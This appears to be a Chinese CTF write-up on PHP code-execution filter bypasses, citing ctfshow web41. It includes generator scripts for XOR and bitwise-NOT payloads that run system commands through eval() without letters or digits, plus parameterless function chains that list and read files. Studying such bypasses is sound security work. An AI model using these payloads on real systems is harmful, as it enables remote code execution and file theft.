无字母数字

当字母和数字都被过滤时怎样RCE呢?核心代码如下。

<?php
	if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  	eval($_GET['shell']);
	}

利用非字母数字字符,配合运算符得到需要的字符。

异或

在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,再对二进制数据进行异或,再转为ASCII,最后转为字符串。

由此可以构造脚本得到一个字典,然后需要哪个字符的时候就遍历字典。

  • 构造字典

    <?php
    $file = fopen("output.txt", "w");
    $a = "";
    $b = "";
    $dict = "";
    $preg = '/[A-Za-z0-9]+/';
    
    for ($i = 0; $i < 256; $i++) {
        // 前16个前面加0
        if ($i < 16) $a = "0" . dechex($i); // 10转16
        else $a = dechex($i);
        // 如果被限制了直接跳过这个字符
        if (preg_match($preg, hex2bin($a))) continue; // 16转ascii
        // 没被限制加%,就变成了url编码
        else $a = "%" . $a;
    
        for ($j = 0; $j < 256; $j++) {
            // 前16前面加0
            if ($j < 16) $b = "0" . dechex($j);
            else $b = dechex($j);
            // 只要不被限制的
            if (!preg_match($preg, hex2bin($b))) {
                // 在前面加%组成url编码
                $b = "%" . $b;
                // 记录异或得到的内容、由哪两个异或来的
                $out = urldecode($a) ^ urldecode($b);
              	//	只要可用字符
                if (ord($out) > 31 && ord($out) < 127) { // ascii转10
                    $dict = $dict . $out . " " . $a . " " . $b . "\n";
                }
            }
        }
    }
    
    fwrite($file, $dict);
    fclose($file);
  • 遍历字典

    def search(word):
        a = ''
        b = ''
        for i in word:
            f = open("output.txt", "r")
            while True:
                dic = f.readline()
                if dic == "":break
                if dic[0] == i:
                    a += dic[2:5]
                    b += dic[6:9]
                    break
            f.close()
        output = "('"+a+"'^'"+b+"')"
        return output
    
    s1 = input("[+] your function:")
    s2 = input("[+] your command:")
    flag = search(s1) + search(s2) + ";"
    print(flag)

成功执行!

取反

在PHP中,字符串被取反后还会在eval函数中执行。

<?php
$function = "system";
$command = "ls";

print_r("(~".urlencode(~$function).")(~".urlencode(~$command).");");

成功执行!

自增

利用PHP中的递增/递减运算符,也就是说'a'++ => 'b',那么理论上只要能构造出任意字母即可执行命令。

在php中,强制输出数组时,数组将被转换成字符串Array,那么就可以拿到A了。

无参数

当限制参数的时候如何操作呢?核心代码如下:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

核心思路就是通过嵌套函数达到读文件或者RCE的目的,重点就是对PHP原生函数的利用。

scandir可以返回指定目录下有哪些文件,scandir(‘.’)就可以看到当前目录下有哪些文件,再利用数组函数选择需要读的文件读取。

常用的数组函数:

  1. end()- 将数组的内部指针指向最后一个单元
  2. key()- 从关联数组中取得键名
  3. each()- 返回数组中当前的键/值对并将数组指针向前移动一步
  4. prev()- 将数组的内部指针倒回一位
  5. reset()- 将数组的内部指针指向第一个单元
  6. next()- 将数组中的内部指针向前移动一位

常用的读文件函数:

  1. show_source
  2. readfile
  3. highlight_file
  4. file_get_contents
  5. readgzfile

payload:show_source(数组操作选择文件(scandir(路径)));

那么只需要构造出需要的路径就行了。

localeconv

localeconv函数返回一包含本地数字及货币格式信息的数组,再通过currentpos,返回数组中的单元默认第一个:

或者reset函数将内部指针指向数组中的第一个元素,并输出。

chr

chr函数可以从不同的ascii返回字符,且以256为周期循环,46对应的点,那么构造出46就行了,有多种思路:

  1. 利用PHP中的数学函数构造出46。种子可以用数学常量,或者特殊函数的返回值。例如:chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));

  2. 利用PHP中的时间函数构造出46。chr函数是以256为周期循环返回字符,所以只要在增加或者周期性变化的返回值都可以得到.,例如:chr(pos(localtime()));

crypt

利用crypt函数返回 DES、Blowfish 或 MD5 算法加密的字符串,其中有概率出现.或者/在末尾。种子可以利用时间函数得到。再利用ord函数返回字符串中第一个字符的Ascii值,而hebrevc可以得到第一位为.的字符串。

也可以用strrev将字符串倒序,这样可以得到第一位为.或者/的字符串。

crypt(serialize(array())))也可以得到以.或者/结尾的字符串,再利用strrev倒序:

getcwd

getcwd可以得到当前目录的绝对路径

realpath

realpath('.')可以得到当前目录的绝对路径:

dirname

dirname可以返回路径中的目录部分。

由此可以读取其他路径的文件。要注意的是,在读其他目录的文件时要先用chdir切换目录,否则读取的还是原路径:

参考

ctfshow web入门 web41

php rce之无参数读文件